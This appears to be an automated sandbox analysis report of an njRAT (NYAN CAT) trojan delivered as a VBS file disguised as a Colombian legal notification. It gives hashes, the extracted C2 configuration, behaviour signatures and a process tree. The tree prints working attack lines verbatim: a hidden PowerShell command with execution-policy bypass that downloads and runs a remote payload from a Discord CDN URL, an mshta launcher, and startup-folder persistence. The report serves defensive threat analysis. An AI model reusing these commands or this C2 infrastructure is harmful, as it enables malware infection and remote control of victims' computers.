njrat | e25d5a23459ac8a9dd459db9ff70b0553f256b6b074c3848bffa65886d6d9f24

General

Target

SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs
Size

827B
MD5

5b4cbb9b11c79830351c9e2bf59c5a42
SHA1

98328f4e9da68649cb8c003b83f1123cfef91678
SHA256

e25d5a23459ac8a9dd459db9ff70b0553f256b6b074c3848bffa65886d6d9f24
SHA512

ced0b4a8a102be874860836fa674b07c0161352e3ac3066cd248f53c770948d54b098a6bc96128cddc92044028bc092edc0416dac72cdb96f67a75040e7df15f

Score

10^/10

njrat nyan cat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

fuckand.duckdns.org:3016

Mutex

30c67308ea73

Attributes

reg_key
30c67308ea73
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 3248 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4000 set thread context of 4244 4000 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3248 powershell.exe
3248 powershell.exe
3248 powershell.exe
4000 powershell.exe
4000 powershell.exe
4000 powershell.exe

flow	pid	process
3	3248	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 4000 set thread context of 4244	4000	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings	powershell.exe

pid	process
3248	powershell.exe
3248	powershell.exe
3248	powershell.exe
4000	powershell.exe
4000	powershell.exe
4000	powershell.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe
Token: 33	4244	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4244	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 4000 wrote to memory of 3248	4000	WScript.exe	powershell.exe
PID 4000 wrote to memory of 3248	4000	WScript.exe	powershell.exe
PID 3248 wrote to memory of 1904	3248	powershell.exe	WScript.exe
PID 3248 wrote to memory of 1904	3248	powershell.exe	WScript.exe
PID 1904 wrote to memory of 3632	1904	WScript.exe	cmd.exe
PID 1904 wrote to memory of 3632	1904	WScript.exe	cmd.exe
PID 3632 wrote to memory of 1444	3632	cmd.exe	mshta.exe
PID 3632 wrote to memory of 1444	3632	cmd.exe	mshta.exe
PID 1444 wrote to memory of 4000	1444	mshta.exe	powershell.exe
PID 1444 wrote to memory of 4000	1444	mshta.exe	powershell.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe
PID 4000 wrote to memory of 4244	4000	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/884806965497319514/Cryp16.txt');$results
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3632

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4244

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
d5270474d0976bb1cdca6f2b6319926c

SHA1
b0787b2342c4e15daf7a8380087830d1073f6383

SHA256
7c6c33f6849f6adf5a6384c9ec65ce7694fd101949c86350fd8902c7de233d70

SHA512
219d4c1e2a2755ab671134a1ebf9ddb32c84cd7201e1d636c5c68e497fcb6fa40dd67718cdd5aeb6b8810f712ec0c473c31681a741a8c5dda175b1ff3c2d01f2

Download Submit
memory/1444-179-0x0000000000000000-mapping.dmp

Download
memory/1904-175-0x0000000000000000-mapping.dmp

Download
memory/3248-150-0x0000019565610000-0x0000019565611000-memory.dmp

Filesize
4KB

Download
memory/3248-157-0x0000019565026000-0x0000019565028000-memory.dmp

Filesize
8KB

Download
memory/3248-158-0x0000019565160000-0x0000019565162000-memory.dmp

Filesize
8KB

Download
memory/3248-151-0x0000019565020000-0x0000019565022000-memory.dmp

Filesize
8KB

Download
memory/3248-152-0x0000019565023000-0x0000019565025000-memory.dmp

Filesize
8KB

Download
memory/3248-115-0x0000000000000000-mapping.dmp

Download
memory/3248-139-0x00000195651C0000-0x00000195651C1000-memory.dmp

Filesize
4KB

Download
memory/3248-120-0x000001954CCF0000-0x000001954CCF1000-memory.dmp

Filesize
4KB

Download
memory/3632-178-0x0000000000000000-mapping.dmp

Download
memory/4000-187-0x00000299FB700000-0x00000299FB702000-memory.dmp

Filesize
8KB

Download
memory/4000-188-0x00000299FB703000-0x00000299FB705000-memory.dmp

Filesize
8KB

Download
memory/4000-181-0x0000000000000000-mapping.dmp

Download
memory/4000-198-0x00000299FB6F0000-0x00000299FB6F2000-memory.dmp

Filesize
8KB

Download
memory/4000-203-0x00000299FB810000-0x00000299FB815000-memory.dmp

Filesize
20KB

Download
memory/4000-204-0x00000299FB706000-0x00000299FB708000-memory.dmp

Filesize
8KB

Download
memory/4000-205-0x00000299FB820000-0x00000299FB823000-memory.dmp

Filesize
12KB

Download
memory/4244-206-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/4244-207-0x000000000040676E-mapping.dmp

Download
memory/4244-211-0x00000000052E0000-0x00000000052E1000-memory.dmp

Filesize
4KB

Download
memory/4244-212-0x0000000005880000-0x0000000005881000-memory.dmp

Filesize
4KB

Download
memory/4244-213-0x0000000005460000-0x0000000005461000-memory.dmp

Filesize
4KB

Download
memory/4244-214-0x0000000005380000-0x000000000587E000-memory.dmp

Filesize
5.0MB

Download
memory/4244-215-0x00000000053E0000-0x00000000053E1000-memory.dmp

Filesize
4KB

Download

Analysis

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